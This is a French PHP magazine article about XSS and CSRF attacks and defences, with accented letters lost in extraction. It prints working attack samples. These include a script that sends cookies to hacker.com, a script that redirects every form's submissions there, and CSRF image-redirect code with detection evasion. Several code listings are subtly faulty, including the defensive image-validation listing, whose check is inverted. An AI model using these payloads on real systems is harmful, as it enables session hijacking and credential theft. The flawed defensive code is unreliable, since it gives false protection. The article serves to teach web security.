Вы находитесь на странице: 1из 8

Projets

Dangers des attaques de type


XSS et CSRF
Ilia Alshanetsky

De toutes les vulnrabilits touchant aux


applications Web, et plus particulirement
celles crites en PHP, les attaques de type
XSS (Cross-Site Scripting, ou sript multi-sites)
et CSRF (Cross-Site Request Forgery, ou
Contrefaon de requtes multi-sites) sont de
loin les plus dangereuses. Nombreux sont les
dveloppeurs refuser de corriger ce genre de
problmes une fois dcouverts, prtendant
tort que toute attaque monte n'est finalement
pas dangereuse. C'est sans doute la raison
pour laquelle ils n'ont jamais pris la peine de se
dfendre contre ce type de vulnrabilits.

A
Auteur
Ilia Alshanetsky est le principal dveloppeur de logiciels chez Advanced
Internet Designs Inc., socit spcialise
dans les audits de scurit, l'analyse de
performance et le dveloppement d'applications. Il est galement l'auteur de
FUDforum (http://fudforum.org), panneau
d'affichage lectronique Open Source
trs populaire, dont le principal objectif
est de proposer le maximum de fonctionnalits au niveau de scurit et de performance le plus lev. Ilia est galement
dveloppeur de Core PHP, dont il a cr,
seul ou en quipe, une srie d'extensions
comme par exemple SHMOP, PDO,
SQLite, GD et ncurses. Il est un membre
actif de l'quipe assurance qualit de
PHP, et compte prs d'une centaine de
corrections de bogues son actif ainsi
qu'un grand nombre de performances et
de fonctionnalits.

fin de casser le mythe de ces


attaques, nous jouerons le rle
d'un pirate pour dmontrer comment l'injection de petits bits d'HTML,
cense inoffensive, peut gnrer d'tranges comportements, comme voler l'identit d'un utilisateur ou rcrire avec une
complte transparence le contenu d'un
site.

Attaques XSS
et CSRF : origines

Avant de nous plonger dans les caractristiques de ces attaques, nous allons vous
prsenter de manire gnrale la nature
des attaques de type XSS et CSRF. Ces
vulnrabilits reposent toutes deux sur
le principe suivant : le pirate peut insrer
certains contenus arbitraires dans une
page. Ce contenu peut ensuite tre utilis pour raliser des actions que l'auteur
du site n'aurait jamais faites, comme par
exemple, voler les cookies d'un utilisateur
malchanceux.

www.phpsolmag.org

La seule diffrence entre une attaque


XSS et une attaque CSRF repose sur la
faon dont le package de l'attaque est
envoy. La premire attaque consiste
injecter des donnes arbitraires au
moyen d'une entre non-valide, comme
les champs soumis un formulaire de
type POST. L'attaque de type CSRF
n'exploite pas l'absence de validation,
mais repose plutt sur les fonctionnalits
du navigateur qui l'aideront rcuprer
et excuter le contenu de l'attaque en
question.

Cet article explique...

Il est fortement recommand de matriser les notions fondamentales de PHP,


de l'HTML et de JavaScript

Ce qu'il faut savoir...

Vous allez comprendre le fonctionnement


des attaques de type XSS et CSRF, et
apprendre vous prmunir contre ces
attaques.

PHP Solutions N 2/2006

XSS, CSRF

Surveiller la prsence
d'images inconnues

Une attaque de type CSRF trs simple et


trs rpandue implique par exemple l'utilisation de la balise HTML <img>, normalement utilise pour afficher des images.
Le pirate ne fournit toutefois aucune URL
ce type d'image, mais la fait pointer
vers un code crit en JavaScript, qui
sera excut par le navigateur. Ainsi, la
personne malveillante sera capable de
raliser diverses actions sur le compte
de l'utilisateur, alors que ce dernier n'a
mme pas conscience qu'il est attaqu.
Autre facteur important prendre en
compte dans ce genre d'attaques, concerne la prsentation finale de la page
attaque la victime. Dans la plupart
des cas, l'attaque est ralise par un
pirate qui ajoute ou modifie les donnes
envoyes vers une page, en modifiant
le contenu d'une URL (requte de type
GET) et en pigeant l'utilisateur au moment de cliquer sur le lien. Toutefois, le
pige ne fonctionne qu'avec la coopration de l'utilisateur, bien qu'involontaire,
ce qui explique en partie cette fausse
ide selon laquelle les attaques de type
XSS sont inoffensives.
Il ne s'agit toutefois que d'une faon
parmi tant d'autres d'envoyer le chargement du virus ; en effet, une attaque
de type XSS peut se trouver sous une
forme dite stocke ou persistante. Ainsi,
sans avoir piger l'utilisateur, le pirate
parvient stocker son attaque dans le
site compromis lui-mme, pour l'afficher
ensuite un nombre indfini d'utilisateurs. En d'autres termes, l'attaque est
facilite sans aucune coopration des
utilisateurs. N'importe quel visiteur d'un
site donn devient ainsi vulnrable ce
type d'attaques.
Le mcanisme propre une attaque
CSRF, du mme ordre que les attaques
de type XSS, est encore plus simple : il
n'exige qu'un simple envoi de message
lectronique HTML la victime. Lorsque
le client ouvre ce message lectronique,
et une fois le code HTML rendu, tous les
piges contenus dans des attaques de
type XSS ou CSRF peuvent tre alors
raliss, dans la mesure o le contenu
du message lectronique en question est
automatiquement excut par la majorit
des lecteurs de messagerie lectronique
supportant l'HTML.

PHP Solutions N 2/2006

Premire attaque
de type CSRF

Dans quelle mesure ce genre d'attaques


prsentent-elles un problme ? Commenons par voquer les attaques de type
CSRF, tout simplement parce que la ralisation de cette attaque n'exige que trs
peu d'efforts et de nombreuses applications y sont vulnrables. Nous allons tester, dans le cadre du prsent article, une
application de type panneau d'affichage
lectronique ou journal personnel en ligne
qui permettent l'utilisateur de joindre des
images leurs messages au moyen de
la balise <img> ou de son quivalent en
Bbcode, balise [img]. Sans avoir fournir
une vritable image, l'URL va en ralit
crer un lien vers une certaine page du
site, dans laquelle une requte de type
GET excutera une action, comme par
exemple http://foobar.com/admin/delete_
msg=1. Lorsque l'utilisateur chargera
cette page, le navigateur essaiera d'ouvrir
l'image, excutant ce faisant la commande
charge de supprimer le message avec
l'identifiant 1. Ceci ne fonctionnera pas
avec tous les utilisateurs, mais ce n'est
pas un problme, puisque nous ne voulons raliser l'action qu'une seule fois. Les
utilisateurs vulnrables seront connects
foobar.com et disposeront d'un cookie
d'authentification, lequel sera envoy au
site lors de son accs. Ce cookie comprendra toutes les permissions ncessaires l'excution de l'action, quelle que
soit sa nature.

Comment les navigateurs Web


inattentifs aident les pirates

Facteur encore plus aggravant, les anciennes versions d'Internet Explorer et


d'autres navigateurs peuvent permettre
la dissimulation de pages Web entires
en images. Si l'URL pointait vers un
fichier HTML, le navigateur pourrait
rendre et excuter cette page, et rcuprer galement tous ses composants.
Ce comportement est d'autant plus
dangereux que la page peut contenir
un bloc de code JavaScript extensif,
pouvant tre utilis comme rfrence
pour modifier le contenu de la page originale, en rfrenant son contenu via
window.opener.
Cet abus bien particulier est propre
aux toutes premires attaques de type
CSRF utilises par des escrocs visant

www.phpsolmag.org

Projets

dtourner le trafic vers leurs sites en


attachant au niveau suprieur de divers
liens des agrgateurs chargs de calculer la position du trafic retourn. Ces
pirates avaient tendance joindre des
gadgets logiciels sous forme d'images
sur leurs pages lies des sites agrgateurs, obligeant de la sorte chaque
visiteur effectivement formuler une requte sur le site. Ce qui, son tour, est
cens augmenter de manire significative leurs statistiques de ping-back ,
pour les faire accder en haut de la
liste rapidement. Cette forme d'attaque
est toujours ralise, mais elle repose
sur le lien direct une URL affecte
chaque site, en raison du retour de lien
vers le pirate. Par exemple, foobar.com
peut avoir t assigne une URL de
type http://tracker.com/?sid=1234, de
sorte que l'oprateur du site puisse tout
simplement embarquer cette URL sur
diffrents sites (y compris sur lui-mme),
obligeant chaque utilisateur susceptibles
de charger cette page visiter sa page.
En effet, foobar.com est cens envoyer
beaucoup de trafic tracker.com. Heureusement, dans la mesure o une seule
URL est charge, un simple contrle du
rfrenceur HTTP rvlera dans la plupart des cas la prsence de l'attaque.
Une autre attaque consiste gnralement tenter de dtruire la disposition
d'un site. Par exemple, le pirate pourrait
lier le site une image trs large, mais
dont la taille du fichier reste modeste.
Toutefois, ses dimensions importantes
couvriront l'cran dans son intgralit,
expulsant hors de la page tous les autres
contenus. Par exemple, une image GIF
aux dimensions importantes de 2000
x 2000 pixels peut au moins prendre 3
786 octets, occupant ainsi tout l'espace
de l'cran, quelle que soit la largeur de
votre moniteur. Il ne s'agit toutefois pas
d'une attaque proprement parler, mais
plutt d'une perturbation.
Voici comment vous prmunir de ce
dsagrment. Vous devez penser de
la faon suivante : mon application est
plus petite : au lieu d'autoriser les liens
vers des images arbitraires, elle fera
appel la fonction PHP getimagesize(),
ou une fonction quivalente, afin de
valider chaque image pour savoir si ses
dimensions et sa taille sont vraiment
acceptables.

Projets

XSS, CSRF

Toutes les fausses


images ne sont-elles que
de la poudre aux yeux ?

Malheureusement, ce mcanisme de
protection peut tre aisment contourn.
Nous allons expliquer ici comment. Tout
d'abord, le pirate va tenter si les contrles
lmentaires d'extension passent, puis va
proposer une URL vraiment similaire un
lien vers une image, comme par exemple
http://hacker.com/me.jpg. Ce qui lui permettra de ne pas alerter les validateurs
la recherche de l'extension correcte de
l'image. Le pige suivant consiste rcrire me.jpg par mod_rewrite dans un script
PHP qui prendra ainsi l'action convenable
tout en laissant au pirate toute la flexibilit
dont il a besoin.
RewriteEngine on
RewriteRule ^/me.jpg$ hacker.php

A ce stade, toute requte dirige vers


me.jpg sera en ralit dirige vers le script
hacker.php, dans lequel il est possible
d'insrer un certain nombre d'approches
charges de piger le validateur. Ainsi, si
quelqu'un connat, par exemple, l'identifiant du serveur partir duquel provient la
requte contrle , il peut alors envoyer
ce dernier une image valide, tout en redirigeant le reste vers l'URL de son choix
(voir le Listing 1).
Une autre approche, plus rpandue,
consiste contrler la prsence de l'entte HTTP_REFERER fourni par la plupart
des navigateurs de manire rfrencer
la page partir de laquelle l'utilisateur
est arriv (voir le Listing 2). Lorsque
PHP ralise une requte de validation
via getimagesize() ou lorsque l'administrateur accde au lien manuellement,
ce champ est vide. Nous pouvons donc
dterminer notre contrle de contenu sur
la prsence de cet en-tte : s'il existe bien,
nous essaierons de raliser l'attaque, et
en cas d'absence, nous afficherons une
image inoffensive.
Dans certains cas, notre contenu devra effectivement passer par un processus
de validation, comme par exemple, une
approbation postrieure sur un journal en
ligne, ou une approbation avatar sur un
forum de discussions. Si nous utilisons
les piges voqus plus haut, un administrateur ou un modrateur attentif peut
dtecter notre attaque et se protger. Afin
d'viter d'tre dtect, il est possible de
programmer le moment de lancement de

l'attaque en retardant d'un ou deux jours


notre script ou en attendant tout simplement que le contenu soit approuv avant
d'excuter la redirection. Il est galement
possible d'utiliser le caractre alatoire de
l'attaque de manire ne pas affecter tous
les utilisateurs. Nous n'attaquerons pas
non plus le mme utilisateur deux fois de
suite, afin de rduire considrablement les
possibilits de dtection (voir le Listing 3).
Dans ce nouveau script, trois mcanismes ont t mis en place afin d'viter la
dtection de notre attaque. Tout d'abord,
en supposant que chaque attaque possde son propre script, nous n'allons
certainement pas lancer une attaque deux
jours aprs le dploiement. Ce faisant,
nous pourrons contourner le processus
de validation initiale s'il en existe bien
un. Puis, nous utiliserons un cookie pour
pister l'utilisateur. Ainsi nous serons certains de n'attaquer la mme personne
qu'une seule fois, rendant de ce fait toute
dtection de l'attaque plus difficile. Enfin,
nous rendrons le processus de l'attaque
alatoire, en n'affichant la redirection que
toutes les trois requtes environ.
Comment peut-on se prmunir contre
ce genre de problmes ? Il n'existe en
ralit que deux solutions. La premire
consiste dsactiver la fonctionnalit permettant l'utilisateur de fournir des liens
vers des images. Bien que cette solution
semble la plus simple et la plus sre, elle
prsente toutefois aux yeux de nombreux
dveloppeurs une perte de fonctionnalits
malvenue. La seconde solution consiste
tlcharger chaque image de manire
locale, et la valider au moyen de la fonction getimagesize(). Si les donnes sont

correctes, il est plus judicieux de stocker


le fichier sur le serveur puis modifier le
lien de l'image permettant de rfrencer le
fichier local situ dans l'URL donne que
de rcuprer le fichier distance (voir le
Listing 4).
Dans l'exemple expos ci-dessus,
nous avons tout d'abord tlcharg l'image dans un fichier local, que nous avons
plac dans notre rpertoire de stockage
d'images, puis nous lui avons donn un
nom en fonction de la table de hachage
md5 de l'URL. Une fois le fichier tlcharg, nous allons le valider au moyen
de la fonction getimagesize(). Tlcharger l'image d'abord vers un fichier local
permet d'empcher tout pirate ventuel
de modifier le contenu entre les requtes.
Sinon, nous devrions d'abord valider l'URL
de l'image, aprs quoi, nous pourrions tlcharger le fichier, puisque qu'un simple
comptage de requtes sur la base des
identifiants permettrait de modifier le contenu lors de la seconde requte, permettant ainsi l'attaque de fonctionner.
En tlchargeant d'abord le fichier
localement, nous empchons ainsi toute
modification supplmentaire de contenus
manant d'un serveur distance. La
fonction getimagesize() met en sortie
un tableau contenant toutes sortes d'informations sur notre image. Si aucun tableau
ne nous est retourn, l'image n'est pas
valide. Ainsi, notre processus de validation doit passer par le test de dtection
d'images, de validation des dimensions
de faon dterminer si l'image propose
par l'utilisateur ne dtruit pas la disposition
de notre page. En cas d'chec d'un de ces
contrles, le fichier suspect est supprim

Listing 1. Envoi d'une image inoffensive au serveur que nous savons en train de
raliser un contrle, tout en redirigeant les requtes vers d'autres URL
if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
} else {
header("Location: http://foobar.com/admin/delete_msg.php?=1");
}

Listing 2. Le code pirate dtermine s'il doit raliser une attaque fonde sur le
champ HTTP_REFERER
if (empty($_SERVER['HTTP_REFERER'])) {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
} else {

header("Location: http://foobar.com/admin/delete_msg.php?=1");

www.phpsolmag.org

PHP Solutions N 2/2006

XSS, CSRF
afin d'viter toute violation de l'espace sur
le disque. Enfin, nous renommons le fichier, en lui donnant une extension image
selon son type, afin d'tre sr que les navigateurs pourront afficher l'image.
Il est essentiel de NE PAS utiliser l'extension extraite de l'URL fournie par l'utilisateur, mais de dterminer la sienne, afin
d'viter toute exploitation d'un bogue rcemment dcouvert sur Internet Explorer.
Ce bogue est gnr par un fichier image,
dont l'extension est diffrente de l'en-tte
de l'image. Par exemple, le fichier peut
tre appel me.jpg, alors que l'image est
en ralit au format GIF. Dans un tel cas
de figure, Internet Explorer se comporte
bizarrement et analyse le fichier de telle
sorte qu'une analyse est galement lance sur toutes chanes HTML comprises
dans l'image, ce qui peut ventuellement
conduire lancer des attaques de type
XSS et CSRF, lorsque le fichier image est
directement accessible :
<GIF89a 8 f >

bande passante du serveur, augmentant


de ce fait les cots d'hbergement. Ces
deux problmes peuvent tre en partie
grs en dterminant une restriction de
taille sur l'image, mais cette solution ne
fait que reporter le problme sans vraiment le rsoudre.
Le problme le plus pineux provient
certainement du fait qu'un pirate peut dtourner n'importe quel fichier PHP externe
tlcharg afin de lancer une attaque de
type DoS (Denial of Service) contre le
serveur. Afin de tlcharger un fichier,
PHP exige en premier lieu d'tablir une
connexion vers un serveur hte. Si ce
serveur s'avre tre particulirement lent,
cette manoeuvre peut prendre un certain
temps, pendant lequel le processus PHP
charg de grer la requte attend une interface de connexion. Il s'agit d'un processus qui ne prend aucun temps de l'unit
centrale. Ainsi, aucune limite d'excution
maximale n'est dclanche. Par dfaut,
ce temps d'attente dure au moins une
minute, durant laquelle ce processus reste

Projets

inutilisable pour les oprations. Autrement


dit, si chaque processus de serveur Web
est oblig de tlcharger, le serveur
deviendra inaccessible pour les autres
utilisateurs. Etant donn que la plupart
des serveurs n'autorisent que mois de
200 connexions simultanes, il s'agit d'un
dfaut facile exploiter. Heureusement,
PHP propose une solution sous la forme
d'un rglage INI default_socket_timeout,
permettant de diminuer le dlai d'attente
de connexion une valeur plus modeste
et bien plus sre, de l'ordre de 2 5
secondes. Ce rglage peut tre modifi
dans le script lui-mme, et affectera l'ensemble des connexions tablies par PHP
via l'interface de programmation des flux
de donnes :
// rduire le dlai d'attente de
connexion
ini_set("default_socket_timeout", 5);

La commande expose ci-dessus va


permettre de rsoudre le problme de la

<html>
<head>
<script>alert("XSS");</script>
</head>
<body></body>
</html>
(Discovered by Marc Ruef,
http://www.securiteam.com/windowsntfocus/
6F00B00EBY.html)

Cette image trs intressante va dclancher le problme et sera capable de passer avec succs la fonction de validation
getimagesize(), puisque ce test n'examine que l'en-tte du fichier, qui dans ce cas
est parfaitement valide. Toutefois, dans la
mesure o l'extension que nous donnons
notre image repose sur son en-tte, l'inconsistance entre l'image et son extension
n'a pas lieu d'tre, et l'attaque sera ainsi
vite.
Mais, s'il ne s'agissait l que du seul
problme, plus de personnes seraient
peut-tre capables de le grer. Malheureusement, il existe plusieurs autres problmes avec cette approche. Tout d'abord,
le stockage de toutes ces images localement peut se rvler une opration trs
lourde pour le disque, difficile justifier
pour les oprateurs du site dont l'espace
disponible est limit. Par ailleurs, grer
toutes les images envoyes par l'utilisateur partir du serveur peut entraner une
utilisation considrablement accrue de la

PHP Solutions N 2/2006

Listing 3. Utilisation du caractre alatoire d'une attaque afin d'viter la dtection


$deployment_time = filemtime(__FILE__);
if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand()
% 3)) {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
}
setcookie("h", "1", "hacker.com", time() + 86400 * 365, "/");
header("Location: http://foobar.com/admin/delete_msg.php?=1");

Listing 4. Tlchargement de l'image localement, validation, stockage et modification du lien vers l'image afin de dsamorcer l'attaque
$img = "http://hacker.com/me.jpg";
file_put_contents($img_store_dir.md5($img), file_get_contents($img));
$i = getimagesize($img_store_dir.md5($img));
if (!$i && $i[0] < $max_width && $i[1] < $max_height) {
unlink($img_store_dir.md5($img));
}
rename($img_store_dir.md5($img),
$img_store_dir.md5($img).image_type_to_extension($i[2]));

Listing 5. Dterminer une valeur de dlai d'attente lecture/criture au moyen de


la fonction stream _ set _ timeout()
$fp = fopen($img_url, "r");
stream_set_timeout($fp, 1);
file_put_contents($destination_path, stream_get_contents($fp));
fclose($fp);

www.phpsolmag.org

Projets

XSS, CSRF

connexion, mais ne rgle pas la lenteur du


tlchargement de l'image en elle-mme.
Ce ralentissement est d'autant plus exacerb que les flux de donnes PHP sont
bloqus par dfaut. En d'autres termes,
ils attendent indfiniment l'arrive des
contenus issus du serveur loign. Il
n'existe mme pas de limite comme pour
le processus d'tablissement d'une connexion. Mais avant de vous dcourager,
il existe une solution permettant de rgler
ce problme, en dterminant une valeur
de dlai d'attente lecture/criture grce
la fonction stream_set_timeout() (voir
le Listing 5). Toutefois, cette solution ne
fonctionne qu'avec une ressource de flux
de donnes. Il faut donc modifier notre
code de lecture des images, puisque
nous ne pouvons plus utiliser la fonction
file_get_contents() qui nous dissimule
cette ressource.
Avec ce nouveau code de lecture,
nous signalons PHP de ne consacrer
pas plus d'une seconde aux donnes qui
arrivent dans l'interface de connexion. Il
est mme possible de paramtrer une
valeur de dlai d'attente encore plus
petite grce au troisime argument de la
fonction stream_set_timeout(), charge
de programmer une valeur en microseconde, de telle sorte que stream_set_
timeout($fp,0,250000);
indiquera un
dlai d'attente d'un quart de seconde.
Mais, mme en rglant soigneusement
le dlai d'attente, des abus restent encore possibles. Le pirate n'a besoin que
d'envoyer des donnes trs lentement,
disons 5 octets par secondes, dlai suffisant pour empcher le dclanchement
de votre dlai d'attente. Ainsi, une image
de 20 Ko (soit environ 20 480 octets), le
serveur sera occup pendant prs de 68
secondes, et une image encore plus importante peut tre utilise pour des abus
plus pousss. Ce problme est presque
impossible rsoudre et demande une
somme importante d'efforts que la plupart
des dveloppeurs ne peuvent fournir. Une
solution ventuellement consisterait
lire l'image en blocs d'un octet, en testant
continuellement la vitesse. S'il s'avre que
la connexion est plus lente que le seuil
minimum autoris, le fichier serait alors
rejet. Mais cette approche mobiliserait
normment de ressources en traitement
pour lire exactement la mme quantit de
donnes. Autrement dit, le problme serait
remplac par un autre.
Quelle est donc la solution la plus ju-

dicieuse en ce qui concerne les images ?


Supprimer la fonctionnalit et empcher
leur utilisation simultanment reste la
meilleure solution. Toutes les autres solutions rendent certainement plus difficile
la ralisation des attaques mais pas impossible.

Attributs CSS dangereux

Bien que la balise image soit frquemment


utilise pour ce genre d'attaques, une
attaque de type CSRF peut tre labore
de bien d'autres faons censes tre bien
plus difficiles dtecter. Par exemple, une
telle attaque peut se servir de l'attribut
CSS en arrire plan, permettant de spcifier une image cense tre utilise comme
arrire plan d'un lment dans une page.
Mais comment des lments CSS peuvent tre injects dans le code ? Il s'agit
d'une manoeuvre bien plus simple que
vous ne pensiez et assez rpandue. Le
fait est que de nombreuses applications
PHP cherchent proposer l'utilisateur
la possibilit de contrler la disposition
des informations, en permettant l'utilisation de simples balises HTML de mise en
page comme le style gras <b>, ou italique
<i>, etc. Ce n'est pas un problme en soi,
mais l'implmentation de ces balises est
toutefois problmatique. Dans de nombreux cas, l'autorisation de ces balises
n'est possible qu'au moyen du paramtre
optionnel de la fonction strip_tags().
Ce paramtre permet en ralit d'empcher la suppression de certaines balises,

censes inoffensives. Si un dveloppeur


souhaite permettre aux utilisateurs de son
application d'utiliser les balises lmentaires de mise en page, il lui suffit de dire
cette fonction de ne pas les supprimer.
Par exemple, si je veux autoriser l'utilisation des balises gras et italique, il me
suffit d'appeler la fonction de la manire
suivante : strip_tags($test, "<b><i>");
rien de plus simple, n'est-ce pas ?
Malheureusement, ce n'est pas
aussi simple. Lorsque la fonction strip_
tags() autorise l'utilisation d'une balise,
elle l'autorise intgralement, y compris
les attributs que la balise peut prendre. En
d'autres termes, si le pirate ne peut pas injecter ses propres balises, il peut toujours
y insrer les attributs de son choix. D'un
point de vue technique, et selon la spcification du W3C, les balises telles que <b>
et <i> ne supportent pas des lments de
style censs faonner l'arrire plan d'un
lment, ce qui n'est gure important
pour la plupart des navigateurs, qui les
supportent de toute faon. Ainsi, pour reproduire le pige que nous avons ralis
sur la balise image, il suffit de localiser la
balise autorise, et de lui ajouter l'attribut
de style, contenant une valeur de type
"background:
me.jpg')".

url('http://hacker.com/

Vous trouverez dans le Listing


6 un exemple complet.
Cette attaque est d'autant plus vicieuse qu'un arrire plan manquant ou dtruit
demeure compltement transparent, et
donc bien plus difficile dtecter par rap-

Listing 6. Exemple avec un attribut CSS dangereux


$text = '<b style="background: url(\'http://hacker.com/me/.jpg\')">TEST</b>';
// will print the original text.
echo strip_tags($text, "<b><i>");

Listing 7. Attaque XSS au moyen d'une entre de recherche


// code PHP
<input type="text" name="s" value="<?php echo $_POST[q]; ?>" />
// donnes de sortie compromises
<input type="text" name="s" value=""> XSS STRING <"" />

Listing 8. Exemple de XSS STRING


<script>
var r = new XMLHttpRequest();
r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);
</script>

www.phpsolmag.org

PHP Solutions N 2/2006

XSS, CSRF
port une image compromise qui s'affiche
dans le navigateur sous forme d'icne ou
d'une lment de ce type.
Heureusement, cet exemple illustre
bien les raisons pour lesquelles l'autorisation de balises de la fonction strip_tags()
ne doit pas tre utilise. Il vaut mieux
envisager d'implmenter un petit sousensemble de BBcode, lequel ne supporte
pas les attributs. Pour ceux qui ne sont
pas familier avec le BBcode, il s'agit d'un
ensemble de balises de mise en page,
trs semblables l'HTML, mais charges de fournir un sous-ensemble limit
d'attributs de mise en page du texte. Les
balises sont converties par l'analyseur de
BBcode en quivalents HTML, permettant
ainsi l'utilisateur d'ajuster le texte sans
avoir crer une faille pour des attaques
de type XSS et CSRF. Vous n'avez pas
besoin d'crire votre propre analyseur,
puisque certains outils existent dj, comme par exemple, la classe PEAR intitule
HTML_BBCodeParser, qui fonctionne trs
bien pour cette tche. Vous pouvez la tlcharger partir de l'adresse suivante :
http://pear.php.net/package/HTML_BBCodeParser. Vous pouvez galement avoir
recours au package SafeHTML PHP,
tlchargeable l'adresse suivante : http:
//pixel-apes.com/safehtml. Celui-ci limine
tous les lments et attributs HTML incertains d'un texte donn.
En plus des piges relatifs aux arrires plans et aux balises images, n'importe
quelle balise susceptible d'entraner un
tlchargement d'une ressource lie
automatiquement peut tre utilise par
une attaque de type CSRF. Toutefois, les
balises de type <iframe>, <script>, etc.
ne sont gnralement pas accessibles
l'utilisateur et sont donc sres en raison
de leur contenu statique. Cependant, si
elles peuvent tre modifies par une variable non-contrle, elles menacent alors
l'application dans la mme mesure que les
mcanismes voqus plus haut.

Attaque de type XSS

Alors que les attaques de type CSRF


reposent sur l'abus d'lments de pages
existantes ou autorises, les attaques dites XSS (Cross Site Scripting) tentent de
contourner la validation des donnes d'entre afin de permettre au pirate d'injecter
le contenu de son choix dans la page. Ce
contenu est ensuite utilis pour piger l'utilisateur en rvlant des informations sensibles, en excutant des actions via des

PHP Solutions N 2/2006

crdits existants, et ainsi de suite. Mme


une attaque de type CSRF peut tre ralise au moyen d'un vide initial cre par
une attaque XSS. Ainsi, en quelque sorte,
une attaque XSS permet d'exploiter une
application quasi indfiniment, ce qui la
rend trs dangereuse. Malheureusement,
les attaques de type XSS sont extrmement rpandues. Il s'agit sans doute du
plus grand flau dans toutes les applications Web, touchant les gros sites comme
les plus petits. Il y a quelques semaines,
deux gros sites du Web, Google et Yahoo!, auraient t accuss de contenir un
certain nombre de ces vulnrabilits dans
leurs nouvelles offres promotionnelles. Par
ailleurs, les entres quotidiennes enregistres sur les listes de scurit prouvent
l'existence de problmes similaires dans
une multitude d'applications.
Dans la plupart des cas, les attaques
de type XSS ne sont mme pas bien dissimules. Elles visent souvent la page principale des sites Web, sous la forme d'une
bote de recherches. Lorsque l'utilisateur
soumet une entre dans la recherche, sa
requte initiale est affiche sur la page
des rsultats, gnralement sous forme
de valeur de la balise <input> pour faciliter la modification des donnes d'entre.
C'est grce l'absence de validation que
le pirate a alors l'opportunit d'excuter
son attaque XSS. Afin de lancer son exploitation, le pirate doit juste spcifier ">
XSS STRING <", o XSS STRING reprsente
un certain contenu arbitraire tre inject
dans la page. La marque initiale "> permet
de terminer la balise <input>, dans laquelle la requte est place, et le signe de fin
<" gre la fermeture de la portion restante
de cette balise (voir le Listing 7).
Une fois le contenu mis en place, le
pirate peut dsormais choisir de modifier
le contenu de la page de la faon dsire. Ainsi, si je voulais par exemple obtenir les cookies de l'utilisateur des fins
malveillantes, il me suffirait de remplacer
XSS STRING par le code expos dans le
Listing 8.

Projets

Ce simple script rcrit en JavaScript


permet de formuler une requte HTTP sur
un site choisi par le pirate, afin d'y envoyer
les noms et les contenus de l'ensemble
des cookies actuellement paramtrs par
la victime. Le pirate peut dsormais reproduire ces cookies et obtenir les mmes
autorisations d'accs que celle de l'utilisateur victime de l'attaque. La fonctionnalit
XMLHttpRequest est propre Mozilla Firefox, mais, heureusement pour le pirate,
Internet Explorer possde galement une
fonction quivalente ActiveXObject("Micr
osoft.XMLHTTP"); cense fonctionner de
la mme manire. Ce qui rend ce genre
d'attaques universelles.
Il existe un autre pige, particulirement adapt aux pages Web, capable de
collecter des informations sur l'utilisateur
au moyen d'une srie de formulaires,
comme la page d'une ouverture de session, ou un formulaire de demande d'informations bancaires sur certains sites de
commerce lectronique. Dans ce cas, la
chane de l'attaque peut tre utilise pour
modifier l'action de ce genre de formulaires, en les obligeant envoyer les donnes convoites vers un autre site.
Le script XSS expos dans le Listing
9 va s'insrer dans tous les formulaires
qu'il trouvera dans une page donne pour
modifier leur champ d'action selon le souhait du pirate. Ainsi, lorsqu'un utilisateur
soumet ses informations, celles-ci n'atteindront jamais la page de destination,
mais iront directement au pirate. Un pirate
particulirement imaginatif prendra non
seulement le temps de capturer les informations soumises, mais galement de
dissimuler toute trace de son attaque, en
envoyant par ailleurs les informations de
l'utilisateur vers leur destination normale,
grce une redirection temporaire :
log_data($_GET, $_POST);
header("HTTP/1.0 307 Moved Permanently");
header("Location: ".$_SERVER[QUERY_
STRING]);

Listing 9. Attaquer les formulaires avec la technique XSS


<script>
for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].acti
on;
</script>

www.phpsolmag.org

Projets

XSS, CSRF

Selon la spcification, lorsqu'il redirige une


requte de type POST, le navigateur est
cens demander l'utilisateur de confirmer cette action, ce que Mozilla Firefox
fait bien. Toutefois, le message n'est pas
particulirement clair et nombreux sont les
utilisateurs cliquer dessus sans le lire
rellement. Et mme s'ils ne cliquent pas
dessus, les dgts sont dj en marche
et le pirate possde dj leurs donnes.
La relle menace provient d'Internet
Explorer qui ignore cette spcification et
pratique une redirection silencieuse, en
cachant compltement le fait que la requte POST a t en ralit redirige vers
une partie non-autorise. Autrement dit, du
point de vue de l'utilisateur, l'action tente
a t ralise avec succs. Il ne doute pas
de ce qui s'est rellement pass. Dans la
mesure o toutes ces oprations sont ralises au moyen de redirections, l'en-tte
HTTP_REFERER n'est jamais mis jour,
de telle sorte que le site n'a lui non plus
aucune preuve de l'attaque en temps rel.
La seule preuve pourrait tre trouve dans
les sessions d'accs, dans lesquelles se
trouve la requte initiale avec la chane
d'attaque.
Dans certaines situations, le dveloppeur d'une application peut avoir
reconnu le danger d'une attaque XSS et
implment quelques protections lmentaires, mais certainement incompltes.
Il n'est pas rare, par exemple, de voir
les caractres <, et >, ncessaires
l'injection de balises, cods respectivement en &gt;, &quot; et &lt;, en laissant
le guillemet simple () tel quel. Ceci provient gnralement de l'utilisation des
fonctions par dfaut htmlspecialchars()
et htmlentities() sous PHP, charges
de coder des caractres spciaux dans
leurs quivalents HTML. Toutefois, laisser
les guillemets simples non-cods reste
problmatique dans la mesure o certaines balises HTML, dont les attributs
peuvent tre remplis avec les donnes
d'entre de l'utilisateur, utilisent en ralit les guillemets simples pour clore les
attributs. En d'autres termes, en injectant
des guillemets simples, le pirate a ainsi la
possibilit de terminer prmaturment les
attributs existants et d'injecter ses propres
attributs. Nous pourrions, par exemple,
utiliser l'attribut onMouseOver permettant
de dclencher un vnement JavaScript
ds que la souris se dplace sur l'lment
d'une page corrompue. Il suffit ensuite de
contrler l'absence de tous les caractres

cods ainsi que celle des guillemets simples, puisqu'ils agissent dsormais en tant
que fermeture d'attribut. En dpit d'une
apparente complexit, cette manoeuvre
est en ralit assez simple raliser,
grce deux fonctions de JavaScript :
String.fromCharCode() permettant de
convertir une liste de code ASCII dans
les caractres correspondants, et la
fonction eval(), charge d'excuter la
chane donne. Si, par exemple, le pirate
dsire afficher une alerte JavaScript avec
le message XSS, il lui suffit d'injecter la
chane suivante :
' onMouseOver='eval(String.fromCharCode
(97,108,101,114,116,40,39,88,83,83,39,
41,59))' '

Le caractre initial du guillemet simple


termine un attribut ouvert, et le guillemet
final dbute l'attribut que le pirate vient
d'insrer, afin d'viter une erreur d'analyse HTML. Le contenu situ entre les
